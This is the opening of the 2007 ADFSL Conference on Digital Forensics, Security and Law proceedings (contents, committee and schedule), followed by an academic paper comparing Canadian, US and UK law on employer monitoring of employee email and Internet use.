Conference on Digital Forensics, Security and Law
Arlington, Virginia
April 18-20, 2007

Chair
Glenn S. Dardick
Longwood University
Virginia, USA

Steering Committee

John W. Bagby
The Pennsylvania State University
Pennsylvania, USA
David P. Biros
Oklahoma State University
Oklahoma, USA
Glenn S. Dardick
Longwood University
Virginia, USA
Michael Gendron
Central Connecticut State University
Connecticut, USA
Gary Kessler
Champlain College
Vermont, USA

Marcus K. Rogers
Purdue University
Indiana, USA
Pedro Luis Próspero Sanchez
University of Sao Paulo
Sao Paulo, Brazil
Jack Seward
Consultant
New York, USA
Il-Yeol Song
Drexel University
Pennsylvania, USA
Craig Valli
Edith Cowan University
Western Australia, Australia

Copyright © 2007 ADFSL, the Association of Digital Forensics, Security and Law. Permission to make digital or printed copies of all or any part of this journal is granted without fee for personal or classroom use only and provided that such copies are not made or distributed for profit or commercial use. All copies must be accompanied by this copyright notice and a full citation. Permission from the ADFSL is required to make digital or printed copies of all or any part of this journal for-profit or commercial use. Permission requests should be sent to Dr. Glenn S. Dardick, Association of Digital Forensics, Security and Law, Department of CIMS, College of Business and Economics, Longwood University, 201 High Street, Farmville, Virginia 23909 or emailed to office@adfsl.org.

ISSN 1931-7379
Sponsors

LONGWOOD UNIVERSITY

CHAMPLAIN COLLEGE

Partners

Journal of Digital Forensics, Security and Law

Journal of Network Forensics

Small Scale Digital Device Forensics Journal
Contents

Schedule ........................................................................................................................................ 4

Monitoring and Surveillance in the Workplace: Lessons Learnt? – Investigating the International Legal Position ........................................................................................................... 7
Verine Etsebeth

The Evolution of Internet Legal Regulation in Addressing Crime and Terrorism ........... 19
Murdoch Watney

Federal Rules and Digital Evidence for Digital Forensics Examiners ......................... 31
Gavin W. Manes

An Exploratory Analysis of Computer Mediated Communications on Cyberstalking Severity ......................................................................................................................... 41
Stephen D. Barnes and David P. Biros

Guideline Model for Digital Forensic Investigation ......................................................... 55
Salma Abdalla

The General Digital Forensics Model .............................................................................. 77
Steven Rigby

The Gap between Theory and Practice in Digital Forensics ........................................ 85
Joe Sremack

Team Responsibilities for Digital Forensic Process ....................................................... 95
Salma Abdalla

The Case for Teaching Network Protocols to Computer Forensics Examiners .......... 115
Gary C. Kessler

Education for Cyber Crime Investigators ...................................................................... 139
David Greer

Textbooks for Computer Forensic Courses: A Preliminary Study Examiners ............... 141
Jigang Liu

Do Current Erasure Programs Remove Evidence of BitTorrent Activity .................. 147
Andrew Woodward

Computer Geolocation Using Extracted Features ....................................................... 159
Chad M.S. Steel

Defending Against Trusted Insider Use of Digital Steganography ............................... 175
James E. Wingate

Investigating Information Structure of Phishing Emails Based on Persuasive .......... 185
Ki Jung Lee, Drexel University and II-Yeol Song

Towards Redaction of Digital Information from Electronic Devices ......................... 197
Gavin W. Manes
Conference on Digital Forensics, Security and Law, 2007

Schedule

Wednesday, April 18, 2007

Registration & Continental Breakfast

Session IA
  • Part I - Preserving the Attorney-Client Privilege for Electronically Stored Information in Civil Cases under the FRCP and FRE: It's Not Easy
    Jack Seward, Consultant
    Michael D. Fielding, Blackwell Sanders Peper Martin, LLP

Session IB
  • The Revised Federal Rules as a Defining Moment for Integrating Cyber Forensics and Electronic Discovery
    John W. Bagby, Professor of Information Sciences & Technology, Co-Director, Institute for Information Policy College of Information Sciences & Technology, The Pennsylvania State University

Break

Session 2A
  • Part II - Preserving the Attorney-Client Privilege for Electronically Stored Information in Civil Cases under the FRCP and FRE: It's Not Easy
    Jack Seward, Consultant
    Michael D. Fielding, Blackwell Sanders Peper Martin, LLP

Session 2B
  • Live Forensics
    Chet Hosmer, Sr. Vice President and Chief, WetStone Technologies, Inc., a subsidiary of Allen Corporation of America

Welcome & Lunch

Session 3
  • TCP/IP Protocol and Investigative Tools
    Gary C. Kessler, Associate Professor, Director of the Center for Digital Investigation, Program Director for Computer & Digital Forensics, Project Director for Information Security, Vermont Information Technology Ctr., Champlain College

Break

Session 4A
  • International Cyber Prosecution from the Perspective of Local and State Law Enforcement
    Joseph J. Schwerha IV, Associate Professor, California. University of Pennsylvania, Owner, TraceEvidence, LLC, Owner, Schwerha & Associates

Session 4B
  • Fuzzy Hashing
    Jesse Komblum, ManTech SMA
Schedule

Thursday, April 19, 2007

Registration & Continental Breakfast

Session 5
Chair: David Biros

- Monitoring and Surveillance in the Workplace: Lessons Learnt? – Investigating the International Legal Position
  Verine Etsebeth, University of Johannesburg, South Africa
- The Evolution of Internet Legal Regulation in Addressing Crime and Terrorism
  Murdoch Watney, University of Johannesburg, South Africa

Break

Session 6
Chair: David Biros

- Federal Rules and Digital Evidence for Digital Forensics Examiners
  Gavin W. Manes, University of Tulsa
- An Exploratory Analysis of Computer Mediated Communications on Cyberstalking Severity
  Stephen D. Barnes, Oklahoma State University
  David P. Biros, Oklahoma State University

Lunch

- Keynote Speaker: Jim Christy, Director of the Defense Cyber Crime Institute (DCCI) at the Defense Cybercrime Center (DC3)
  Introduced by David Biros

Session 7
Chair: Jigang Liu

- Guideline Model for Digital Forensic Investigation
  Salma Abdalla, Information Technology Industry Development Agency, Cairo, Egypt
- The General Digital Forensics Model
  Steven Rigby, Brigham Young University

Break

Session 8
Chair: Jigang Liu

- The Gap between Theory and Practice in Digital Forensics
  Joe Sremack, Managing Consultant, LECG
- Team Responsibilities for Digital Forensic Process
  Salma Abdalla, Information Technology Industry Development Agency, Cairo, Egypt
Schedule

Friday, April 20, 2007

Registration & Continental Breakfast

Session 9
Chair: Gary Kessler
- The Case for Teaching Network Protocols to Computer Forensics Examiners
  Gary C. Kessler, Champlain College
- Education for Cyber Crime Investigators
  David Greer, University of Tulsa

Break

Session 10
Chair: Gary Kessler
- Textbooks for Computer Forensic Courses: A Preliminary Study
  Jigang Liu, Metropolitan State University
- Do Current Erasure Programs Remove Evidence of BitTorrent Activity
  Andrew Woodward, Edith Cowan University

Lunch
- Keynote Speaker: Alex Eckelberry, President of Sunbelt Software
  Introduced by Glenn Dardick

Session 11
Chair: Il-Yeol Song
- Computer Geolocation Using Extracted Features
  Chad M.S. Steel, Virginia Polytechnic Institute and State University
- Defending Against Trusted Insider Use of Digital Steganography
  James E. Wingate, Backbone Security

Break

Session 12
Chair: Il-Yeol Song
- Investigating Information Structure of Phishing Emails Based on Persuasive
  Communication Perspective
  Ki Jung Lee, Drexel University and Il-Yeol Song, Drexel University
- Towards Redaction of Digital Information from Electronic Devices
  Gavin W. Manes, University of Tulsa and David Greer, University of Tulsa
Monitoring and Surveillance in the Workplace: Lessons Learnt? – Investigating the International Legal Position

Verine Etsebeth
University of Johannesburg
South Africa
vetsebeth@uj.ac.za

ABSTRACT

When considering the legal implications of monitoring and surveillance in the workplace, the question may be asked why companies deploy computer surveillance and monitoring in the first place. Several reasons may be put forward to justify why more than 80% of all major American firms monitor employee e-mails and Internet usage. However, what most companies forget is the fact that the absence or presence of monitoring and surveillance activities in a company holds serious legal consequences for companies. From the discussion in this paper it will become apparent that there is a vast difference in how most countries approach this subject matter. On the one hand America does not afford any employee a reasonable expectation of privacy when it comes to the use of corporate computer resources and systems, while in contrast to this position the United Kingdom goes out of its way to protect each employee’s reasonable expectation of privacy. This paper will not only investigate the different approaches followed by some of the world-leader, but will also investigate the legal consequences embedded in each approach. This paper will ultimately enable the reader to judge for himself/herself which approach his/her country should follow while being fully informed of the legal consequences attached to the chosen approach.

Keywords: information security, legal issues, monitoring and surveillance, privacy

1. INTRODUCTION

There are various legal issues that are embedded in workplace monitoring and surveillance. Mainly, there are two main schools of thought that exist on this subject-matter. On the one hand there are those that argue that employers are the owners of the computing equipment, resources and systems and they therefore have a right to monitor how their property is being used, and then there are those that argue that employees’ rights to privacy should weigh more than that of any employer.

When examining the relevant statutes, case law and regulations it becomes apparent that in most jurisdictions a notice requirement exist, but this notice of surveillance and/or monitoring is rarely sufficient. This paper will examine Internet and e-mail related surveillance and monitoring in the workplace from a comparative legal perspective. Ultimately, the aim of this paper is to inform readers of the current legal position existing in some of the most important jurisdictions world-wide, thereby enabling readers to make up their own minds on which approach their country should follow, and enabling readers to understand the legal consequences embedded in each approach.

2. JUSTIFICATION FOR MONITORING AND SURVEILLANCE IN THE WORKPLACE

“Surveillance technology is neither inherently bad nor good, but …there is both good and bad surveillance.”

When considering the legal implications of monitoring and surveillance in the workplace, the question may be asked why companies deploy computer surveillance and monitoring in the first place. Several reasons may be put forward to justify why more than 80% of all major American firms monitor employee e-mails and Internet usage. The first reason centers around employee productivity. As a result of the Internet and e-mails employee productivity has decreased. This is a major concern for employers, as Internet use surveys continue to indicate that the majority of employees spend anywhere
from 10 minutes to an hour every day surfing sites unrelated to doing their jobs – using their work computers to read virtual newspapers, or go online shopping, or even viewing naked woman. Secondly, network performance must be considered. Employees that download video or audio files from the Internet are taking up a great amount of bandwidth. It therefore makes sense that employers spend money on Internet monitoring tools rather than on increasing the bandwidth. Thirdly, the very real risk exists that a company may be held legally liable for the online activities performed by its employees. For example the brokerage firm of Morgan Stanley was exposed to $70 million lawsuit because of racist jokes that appeared on the company’s e-mail system. Also, Dow Chemicals discovered through computer surveillance technologies that 50 employees were using the company’s computers to store and send sexual or violent images, resulting in the termination of all of these employees. Fourthly, all companies are faced with the ever present ‘insider threat’. It is therefore understandable that companies will go to great lengths to protect the confidentiality of its corporate information and trade secrets even if it is from its own employees.

3. MONITORING AND SURVEILLANCE – THE CANADIAN PERSPECTIVE

3.1 Introduction

It is generally accepted that in terms of Canadian law employees enjoy very little to no privacy protection in the workplace when it comes to computer and email surveillance. MacIsaac observes: “…many employers consider electronic mail sent and received using company computer equipment and stored on company computer networks to be the property of the employer. From the employer’s perspective this is a business resource paid for by the employer and is to be used only for business purposes. Therefore, e-mail messages and telephone conversations made on behalf of the employee in the course of business should be made available for review for legitimate business and security reasons. For these reasons, an employee acting on behalf of their employer should have no reasonable expectation of privacy”.

This view was supported in an arbitration case in which a college lab technician’s employment was terminated after sending unwarranted allegation against other employees to the campus-wide email message board. The case finding reiterated the principle of ‘office e-mail: no reasonable expectation of privacy’.

Today however, a definite move towards finding a balance between monitoring and privacy may be observed in Canadian law. As stated in the previous chapter, the most important source of privacy protection in Canada is found in the Personal Information Protection and Electronic Documents Act (PIPEDA) 2000. PIPEDA recognizes the importance of finding a balance between an employer’s need to collect certain personal data, and an employee’s need for privacy protection. The Act states: “…the purpose of this part [Protection of Personal Information in the Private Sector] is to establish, in an era in which technology increasingly facilitates the circulation and exchange of information, rules to govern the collection, use and disclosure of personal information in a manner that recognizes the rights to privacy of individuals with respect to their personal information and the need of organizations to collect, use or disclose personal information for purposes that a reasonable person would consider appropriate in the circumstances”.

3.2 Regulatory framework – PIPEDA

When evaluating employee surveillance within the ambit of PIPEDA the following observations should be made:

(i) Firstly, the provision in PIPEDA of ‘appropriate purpose’ limits the use, collection and disclosure of personal information to situations which a reasonable person would deem to be appropriate under the circumstances. Within the ambit of the workplace this would imply that mere consent by an employee to surveillance is no longer sufficient as the provision clearly states that a reasonable person must consider the circumstances to be
appropriate. Therefore it may be argued that where surveillance takes place under the façade of creating and maintaining a harassment free and safe working environment, it is likely that the courts will declare such surveillance to be unlawful because of the absence of a known issue in response to which surveillance takes place;

(ii) Secondly, PIPEDA requires of companies must appoint a privacy officer who will be responsible for ensuring that the company complies with its privacy obligations. The act suggests that the collection of personal workplace data no longer falls within the exclusive jurisdiction of the company’s technology personnel, but the privacy officer must also be involved;

(iii) Thirdly, the act contains specific provision relating to the notification of employees of workplace surveillance. It is expected of companies to: (a) identify the purpose for which the data is being collected; (b) obtain consent prior to collection; and (c) to limit collection of personal data to that which is necessary for the purposes as set out by the company. The aim of these provisions are to: (a) limit the type of information a company may collect; and (b) demand of companies to inform their employees of the surveillance policies of the company. The act does however contain an exception to the general rule that notice must be given to employees before surveillance may take place. Section 7(1) (b) of the act states: “…an organization may collect personal information without the knowledge or consent of the individual only if …it is reasonable to expect that the collection with the knowledge or consent of the individual would compromise the availability or the accuracy of the information and the collection is reasonable for purposes related to investigating a breach of an agreement or a contravention of laws of Canada or a province”.

(iv) Fourthly, the Act requires that “personal information shall be retained only as long as is necessary for the fulfillment of the [identified] purpose”. Therefore, this provision regulates an employers’ use of information after collection thereof. Employers are furthermore prohibited from keeping personal information for an unlimited time period.

3.3 Employee monitoring and surveillance – The present position in Canada

The Canadian court’s commitment to privacy protection has come to the fore in recent years. In 1999 the B.C. Supreme Court ruled in the Weir case that e-mail does enjoy a reasonable expectation of privacy. Also in that same year the case of Pacific Northwest Herb Corp v Thompson 1999 BCJ No 2772 came before the court. Thompson was an employee of Pacific Northwest who used the company’s computer in his home for business and personal purposes. After termination of his employment he continued using the company computer for personal purposes. Amongst the documents on the computer was a file containing documents relating to the wrongful dismissal action he was planning to institute against Pacific Northwest. Before returning the computer to the company he hired a computer consultant to erase all the data on the hard drive. His attempts were however unsuccessful, and after returning the computer to Pacific Northwest the company was able to restore the data. Thompson sought an interdict to prevent Pacific Northwest to exploit the data, claiming that his right to privacy and solicitor-client privilege has been infringed. The judge in this case concluded that Thompson had a reasonable expectation of privacy regarding documents that were created for personal use.

In R v Duarte 1990 1 SCR 945 the judge concluded that although the right to privacy was not absolute, it must be “judged against what is reasonable in the circumstances and, amongst other things, is dependant upon competing interests such as the relationship between the parties”. The court went even further and stated that in order to determine what would amount to ‘reasonable in the circumstances’, three considerations must be kept in mind: (i) whether it was reasonable to request surveillance; (ii) whether the surveillance was conducted in a reasonable manner; and (iii) whether any other alternatives to surveillance were available to the employer.
This case has been approved in many other cases. In St Mary’s Hospital and HEU 64 LAC (4th) 382 an electrician discovered a video camera in the ceiling of a manager’s office. The local union was outraged at this surreptitious surveillance, and filed a grievance. The arbitrator found in this case that surveillance can be characterized in three ways: (a) benign surveillance which would entail surveillance done for the benefit of the employee; (b) security surveillance which has as its main aim to ensure the protection of employees as well as the employer; and (c) surreptitious surveillance which represents the most intrusive force of surveillance. The arbitrator was of the opinion that this form of surveillance requires strict justification. Furthermore, in Re Toronto Transit Commission and ATU Loc 113 (Belsito) 95 LAC (4th) 402 and in New Flyer Industries Ltd and CAW Canada Loc 3003 (Mogg) 85 LAC (4th) 304 the court acknowledged that “surveillance by an employer may, in certain circumstances, infringe upon an employee’s right to privacy to an unreasonable extent”.

The Privacy Commissioner has made his views on workplace surveillance, the privacy of e-mails and the reasonable expectation of privacy clear. The Commissioner states: “I don’t accept that the protection necessarily translates into wholesale surveillance of e-mails or computer use. We accept that there are stringent limits on an employer’s rights to read employees’ mail, eavesdrop on their telephone calls or rifle through their desk drawers. I think we have to look closely at e-mail communications to see what principles should apply there as well”.

The Commissioner went on to comment on the practice of some companies to state in their email policies that the employees should have no reasonable expectation of privacy when using the e-mail systems: “[t]he law of privacy has developed around the notion of the ‘reasonable expectation’; one of the ways that the courts determine whether privacy has been violated has been to determine first whether a person could have reasonable expected privacy in a particular place and time. But I don’t agree that it follows that an employee’s or anyone’s privacy can be simply eradicated by telling them not to expect any. While management has the right and the responsibility to manage, it has to operate within limits, including respect for fundamental rights. It is not for management alone to determine whether an expectation of privacy is reasonable”.

Therefore, a clear shift in the pendulum in Canadian law may be observed. In the past emphasis was placed on whether or not the employee had a reasonable expectation of privacy, today emphasis is placed on the question whether or not the surveillance is reasonable. It is now accepted that workplace surveillance, whether it be by video camera, server-side computer monitoring, or client-side computer monitoring, cannot be justified by simply giving notice to an employee. An investigation will have to be launched into the reasonableness of the surveillance.

Geist identifies six factors which may be taken into consideration when wanting to determine whether or not the computer or email surveillance is reasonable in terms of Canadian law:

(i) The target of the surveillance – Consideration must be given to whether computer surveillance will be conducted across the company as a whole or if it will be targeted against specific employees;

(ii) Purpose of the surveillance – Companies that install new surveillance technologies must be able to show how these technologies support their objectives;

(iii) Alternatives to surveillance – It is suggested that other surveillance technologies that are much less intrusive on an employee’s right to privacy in the workplace must first be investigated;

(iv) The surveillance technology – The choice of surveillance technology must be reasonable taking into account the purpose of the surveillance;

(v) Adequacy of notice – in terms of the Criminal Code as well as PIPEDA consent must be obtained from the employee. This would entail not merely informing employees of the
fact of surveillance but also giving them an accurate description of the company’s surveillance practices; and

(vi) The implementation of the surveillance activities – the company will have to ensure that unauthorized persons are not able to gain access to the surveillance information.

3.4 Conclusion

From the above it may be concluded that in Canadian law neither the right to privacy nor the right to surveillance is absolute. Canadian law attempts to find a balance between the interest of the employer and the rights of the employee by focusing on the reasonableness of the surveillance.

4. MONITORING AND SURVEILLANCE IN THE WORKPLACE – THE AMERICAN POSITION

4.1 Introduction

At present the position in America is that no employee has any constitutional, federal or common law legal remedies for redress where an employer abuses email and Internet monitoring and surveillance.

4.2 Constitutional protection against employee monitoring and surveillance

- **Federal constitution**

  The US Constitution does not afford anyone the right to privacy expressly. The constitution only recognizes privacy as a penumbral theory. This explains why the right to privacy has not been extended to protect an employee’s electronic communications. Cherminisky observes: “[m]ost Americans would be surprised to learn that there is no right to privacy granted in the United States Constitution. The Fourth Amendment protects privacy in limiting police searches and arrests, but privacy in terms of autonomy and the right to be left alone by the government is not mentioned in the text of the Constitution”.

  Consequently, the present position in the United States is that employees, in a private workplace, are not afforded any protection against electronic surveillance because of the doctrine of state surveillance. In contrast to this public sector employees have a certain degree of constitutional protection against abusive monitoring in the workplace. Included in this would be the right to reasonable searches and seizures. American courts have even gone so far as to state that public sector employees have a reasonable expectation of privacy regarding their emails and Internet communications.

- **State constitution**

  Privacy protection in respect of state constitutions vary to a great extend. It is however important to bear in mind that to date no court has extended state constitutional protection of privacy to email monitoring and surveillance in the workplace. Most states do not require employers to give employees any form of notification when monitoring their emails and Internet communications.

4.3 Federal legislation – The ECPA

- **Title I of the ECPA – The Federal Wiretap Statute**

  In terms Title I (The federal Wiretap Act) of the ECPA interception of electronic communications such as telephone calls and emails are prohibited. The Act prohibits the following activities:

  (i) intercepting or endeavoring to intercept electronic communications;

  (ii) disclosing or endeavoring to disclose intercepted electronic communications; and

  (iii) using the content of intercepted information.

  It therefore follows that if an employer intercepts email or monitors Internet communications of his/her employee, his actions will fall within the ambit of the ECPA. The following important
observations must be, made in this regard. First, it is required that the interception and/or monitoring should be made intentional. Secondly, the content of the communication is only protected as long as it is under transmission. Consequently, Title I will not be applicable where an employer searches an employee’s stored emails.

Two exceptions are contained in Title I. First, the ECPA allows service providers to intercept and disclose electronic communication if either the sender or the receiver consented thereto, or the ‘ordinary course of business’ exception can be applied. The latter exception however, proves to be highly problematic.

In order for an employer to make use of the ‘ordinary course of business exception’ it is expected of the employer to proof the following:

(i) the device used to intercept the electronic communication is “a telephone or telegraphic instrument, equipment or facility, or a…component thereof,” provided or installed by the employer himself/herself; and

(ii) that the specific device is employed by the employer in his/her ordinary course of business.

It must furthermore be borne in mind that an employer is only authorized to intercept the communication for long enough to determine the nature of the conversation. Once the employer has determined that the communication is personal in nature he/she must immediately terminate interception.

**Title II of the ECPA – The Stored Communications Act of 2005**

Title II of the ECPA (The Stored Communications Act of 2005) provides guidance when wanting to obtain access or disclosure of electronic communication, such as messages left on a voice machine, once in storage. A violation of Title II will result in civil liability for any person who (a) intentionally accesses, without authorization, a facility through which an electronic communication service is provided; or (b) intentionally exceeds an authorization access and thereby obtains, alters, or prevents authorized access to a wire or electronic communication while it is in electronic storage.

As soon as an electronic message has been stored the SCA will regulate the situation. This is irrespective of the length of storage.

When considering the operation of Title II it becomes evident that emails are generally considered to be stored communications in terms of American law. Consequently, employers are authorized to access electronic communications under this title. However, this means that Title I of the ECPA is in actual fact rendered useless.

From the above discussion it may be concluded that in virtually all cases decided by American courts in the last decade it has been decided that employees do not have a reasonable expectation of privacy. In some instance American courts have gone so far as to validate employee monitoring even where advance warning was not given to the employee. The following American case law supports this statement:

**Employee monitoring and surveillance without notice**

In Restuccia v Burk Technology 1996 Mass Super LEXIS 367 (Super Ct (Mass) Aug 13 1996) the employer neglected to have an email policy stating the possibility that emails can be monitored, stored on back-up or that emails may not be used for personal messages. When viewing back-up files the employer discovered email messages containing nick-names for the president of the company and references to an extra-marital affair with another employee. The president of the company terminated the two employee’s employment based on the fact that they were using the email system too much. The ex-employees argued that they had a reasonable expectation of privacy because of the fact that they had personal passwords to access their message system. the court found that the president’s action
of reading the email messages on the back-up system constituted an infringement of the privacy of the ex employees. In this case the ex-employees were successful in their claim, but in every other workplace interception case the defendant’s were awarded summary judgment in a claim that workplace surveillance invaded a plaintiff’s right of privacy.

Furthermore, in Smyth v Pillsbury Co 914 F Supp 97 (ED Pa 1996) an employee was fired after having made negative comments about a sales manager in an email. The email contained treats to “kill the backstabbing bastards”. The company had, on various occasions, assured its employees that all emails are confidential and privileged. The company based the termination of employment on “transmitting what it deemed to be inappropriate and unprofessional comments over the company’s e-mail system”. The employee however argued wrongful termination. The federal court decided that the termination of the employee was justified, as the employee had no expectation of privacy in the employer’s email system. The court went even further to state that even if the employee had a reasonable expectation of privacy it would not amount to invasion of privacy if an employer intercepted messages on a system it owned.

Moreover, in McLaren v Microsoft Corp Microsoft 1999 Tex. App. LEXIS 4103, 1999 WL 339015 (Tex. Ct. App. 1999) accessed personal folders on a network in order to investigate claims of sexual harassment. The employee claimed that Microsoft had violated his reasonable expectation of privacy. The emails that Microsoft eventually uncovered did provide evidence that the employee was engaging in a “systematic pattern of sexual harassment”. The court held that it was not going to recognise a cause of action for invasion of privacy, even though the employee had a special password and the files were marked ‘personal’. The court stated in this case that the decisive factor was that the computer was the property of the employer and formed part of the computer environment. The court furthermore stated that because of the fact that the folder was transmitted over the network, it was inevitable that it would be accessed by a third party at some stage. Consequently, the plaintiff had no expectation of privacy with regards to the files marked ‘private’.

Employee monitoring and surveillance with notice

By implementing an email and Internet policy companies safeguard themselves against any privacy-based claims by employees. In Bourke v Nissan Motor Corp Nissan California Court of Appeals, Second Appellate District, Case No. B068705 (July 1996) made every employee sign a waiver form in which they had to acknowledge that they understood that Nissan’s email system was to be used for business purposes exclusively. In this case the court decided that this waiver was fatal to any claim an employee can bring based on invasion of privacy.

Furthermore, in Garrity v John Hancock Mutual Life Insurance Company 2002 US Dist. LEXIS 8343 (D Mass. May 7, 2000) two long term employees forwarded sexually explicit jokes to third parties. One of their co-workers complaint after receiving such an email. The company had an email policy providing that “messages that are defamatory, abusive, obscene, profane, sexually orientated, threatening or racially offensive” are prohibited. The two woman’s employment was consequently terminated. The court dismissed the privacy based action brought by the two women stating that employees do not have any reasonable expectation of privacy pertaining to work related emails. The court furthermore made a very harsh statement by stating that the fact that the company had an email policy was irrelevant. The court concluded that the employer’s right and duty to limit harassment in the workplace outweighs any rights the plaintiffs’ though they had in respect of privacy.

Moreover, in Thygeson v US Bancorp 2004 US Dist. LEXIS 18863 (D. Ore. Sept 15, 2004) the bank’s employment handbook stated that employees were prohibited to “use US Bancorp computer resources for personal business”. The handbook furthermore stated “do not access inappropriate internet sites and do not send emails which may be perceived as offensive, intimidating, or hostile or that are in violation of Company policy”. One of Bancorp’s employees were spending more than four hours a day visiting non work related Internet sites on his work computer. The company furthermore discovered
that he was viewing “inappropriate emails containing pictures of nudity and sexually offensive jokes”. The employee was subsequently fired. The employee brought an action against the bank arguing that they invaded his privacy as well as the federal Employee Retirement Income Security Act (ERISA) by firing him without awarding him severance pay. The court found that the employee had no expectation of privacy when his employer accessed the files on its network that the plaintiff saved using a personal password, then this employee had no expectation of privacy in his email ‘merely labeled personal’ without even creating a password.

4.4 Conclusion

The conclusion must be reached that when it comes the subject matter of workplace monitoring and surveillance, all indication are that it is pro-employer. Employees have no real remedies for the abuse of email and Internet monitoring and surveillance. Furthermore almost all courts in America have held that employees do not have a right to privacy in the workplace. Courts continue to justify their position by stating that since business computers are the property of its employers, employers have an unfettered right to monitor its usage. American employees will furthermore be unable to find any relief in the US constitution, common law of torts or the ECPA.

5. MONITORING AND SURVEILLANCE IN THE WORKPLACE – THE UNITED KINGDOM'S PERSPECTIVE

5.1 Introduction

The United Kingdom is a member of the European Union. Consequently, the United Kingdom has to comply with EU directives on the subject matter of employee monitoring and surveillance. In terms of the European Community Treaty it is expected of the UK to propagate enabling legislation which will give effect to the fundamental rights as set forth in the Council of Europe Convention for the Protection of Human Rights and Fundamental Freedoms of 1950 (ECHR) and legislation of the EU.

5.2 Regulatory framework

Because of the operation of the doctrine of vicarious liability, the UK government has accepted that employers do have the right to monitor their employees. However, in contrast to the approach followed in America, the right of an employer to monitor is balanced with the employee’s right to privacy.

The legal framework for Internet monitoring in the United Kingdom comprises of five main statutes and almost no case law on the subject matter.

- The Data Protection Act of 1998

All British employers must comply with the United Kingdom’s implementation of the European Union Directive on Data Protection in the form of the Data Protection Act of 1998. In terms of the DPA data controllers are compelled not only to inform the employee of the monitoring system, but also to protect the data processed in accordance with the Data Protection Principles (DPA).

In terms of the DPA electronic monitoring has to comply with the following requirements:

(i) the monitoring must be lawful and fair;
(ii) the monitoring program must be necessary; and
(iii) the monitoring program must be proportionate to achieving the legitimate business objective while simultaneously protecting the right to privacy of the individual employee.

In terms of the DPA only one exception exists regarding the notification requirement: if electronic monitoring is done with the aim of preventing a specific crime the employer will not have to adhere to the notice requirement.
The Human Rights Act of 1998

The DPA furthermore takes cognizance of the Human Rights Act of 1998. In terms of this Act the privacy of any private communication, telephone conversation and email communication is expressly protected. It is important to observe that the Human Rights Act draws a distinction between public and private sector employers. If the employer falls within the ambit of the public sector, the employee will have a direct cause of action in terms of the Human Rights Act.

Employees in the United Kingdom enjoy further protection in terms of article 8 of the ECHR. In terms of article 8 of the Act “everyone has the right to respect for his private and family life, his home, and his correspondence”. This convention affords private employees with a legal remedy to challenge abusive monitoring practices. The European Court of Human Rights has extended the definition of ‘private life and correspondence’ to include business relations, emails and other electronic communications.

Furthermore, the United Kingdom’s chief regulatory agency (OFTEL) issued in 1999 Guidance on recording on private conversations. The aim of these guidelines was to provide employers with guidelines when wanting to implement electronic monitoring without violating their employees’ right to privacy.

The Regulation of Investigative Powers Act of 2000

In terms of this Act it is a criminal offence to intercept data without authorization. It is however important to keep in mind that RIP is not applicable to private telecommunications systems such as intranets and Virtual Private Networks. Moreover, no provision in RIP addresses electronic monitoring in the workplace expressly. In general employers are permitted to intercept emails and to monitor Internet access as long as both the sender and receiver agree thereto. Employers may furthermore only intercept emails and Internet communications if the monitoring is conducted in order to carry out the employer’s business activities.

The Lawful Business Practice Regulations (LBPR)

This Act governs the rights and responsibilities of businesses relating to monitoring electronic communications. This Act provides certain exceptions to the RIP Act. The most important of which is that monitoring without compliance with the notice requirement can take place. In terms of this exception companies may monitor and keep record of Internet communications in order to comply and adhere to regulatory or self-regulatory practices and procedures. There is however a limitation placed on monitoring activities by providing that such activities may only take place if a company employee uses the computer system within the scope of his/her duties. Furthermore, in terms of the LBPR interception without consent is authorized if the interception has one or more of the following purposes:

(i) to establish the existence of facts, to ascertain compliance with the regulatory or self-regulatory practices or procedures (quality control and training);
(ii) to prevent or detect crimes;
(iii) to investigate or detect unauthorized use of telecommunication systems;
(iv) to secure; and
(v) to determine whether or not the communications are business communications.

It should furthermore be kept in mind that interception will only be authorised if the controller of the telecommunication system (employer) made reasonable efforts to inform potential users that interception may take place. Also the scope of application of this Act is limited to business communication therefore the interception of personal communications will not be legal in terms of this act.
5.3 Conclusion

In terms of the RIP Act, LBPR and the DPA it would appear that an employer will only be authorized to lawful intercept communications if it is done ‘in the course of transmission’. The legislature therefore encourages UK companies to have a clearly Internet and email usage policy in place. If an employee wants to base his/her claim on infringement of privacy, the Code of Practice will be the most effective regulation for him/her to rely on.

6. CONCLUSION

It is evident from the preceding discussion that Canada, the United States and the United Kingdom have very different views on the protection that should be afforded to employees when dealing with monitoring and surveillance in the workplace.

In America a pro-employer regime is applied in terms of which employees have lost all their privacy based actions. Consequently, employees in America have no reasonable expectation of privacy. It would appear as if American employers have an absolute immunity against the constitution, common law and federal statutory remedies for abusive surveillance practices. In terms of American law it is evident that everything including electronic communications on a work computer belongs to the employer. Furthermore, business and private communications are deemed to be the property of the employer. Therefore, employers are permitted to monitor any electronic communication even if the employer has no e-mail and/or Internet usage policy in place which could serve to notify employees of the fact that their electronic communications are being monitored.

In stark contrast to the American position, in the UK the monitoring and surveillance of employees are strictly proscribed. In the EU and consequently in the UK, electronic monitoring must be reasonably based, proportional, transparent and non-discriminatory. The European Court of Justice feels that it is very important for companies to have written e-mail and Internet usage policies stating what the company’s position is regarding employee surveillance and monitoring. This is in contrast with the position in America where courts have allowed the surveillance of emails even in situations where the company guaranteed its employees privilege and confidentiality.

The Canadian position relating to employee monitoring and surveillance fits in comfortably somewhere between the UK and the USA. Although this country have enacted legislation regulating employee monitoring and surveillance, with a built-in notification requirements. The biggest deficiencies encountered in these statutes are that they only contain a notification requirement and not a consent requirement.

The question may be asked which approach is correct? Although from a legal perspective most academics would insist that the United Kingdom’s approach is correct, the writer is of the opinion that the current political and social climate must play a very important role in deciding which approach a country should take to this subject matter. Moreover, when considering the fact that a company can incur legal liability for the illegal and inappropriate acts performed by its employees when making use of the corporate computer resources and systems, the writer feels that an employer should have the right to monitor e-mail and Internet usage without too many restraints being placed on him/her. Therefore, the writer is in favor of the American position pertaining to this subject matter. Perhaps countries such as the United Kingdom and Canada should rather ask themselves if they are not empowering employees too much, because at the end of the day, it is still the employer’s computer resources and systems that are being used, so why should an employer not be afforded the right to protect its own assets through monitoring and surveillance, especially when considering the fact that an employer can be faced with numerous lawsuit based on the inappropriate use of its computer assets and resources?
7. REFERENCES

**Journals**

Blackman and Franklin (Aug 1993) “Blocking big brother: proposed law limits employer’s right to snoop” NYLJ 5

Ciocchetti (2001) “Monitoring employee e-mail efficiency workplace vs employee privacy” *Duke Law & Technology* 0026 6

Greenberg “Comment, e-mail and voice mail: employee privacy and the federal Wiretap statute” *American University Law Review* 22 219, 247-48

Harnden “Office e-mail: no reasonable expectation of privacy” *FOCUS: Employment Law* No 3 7

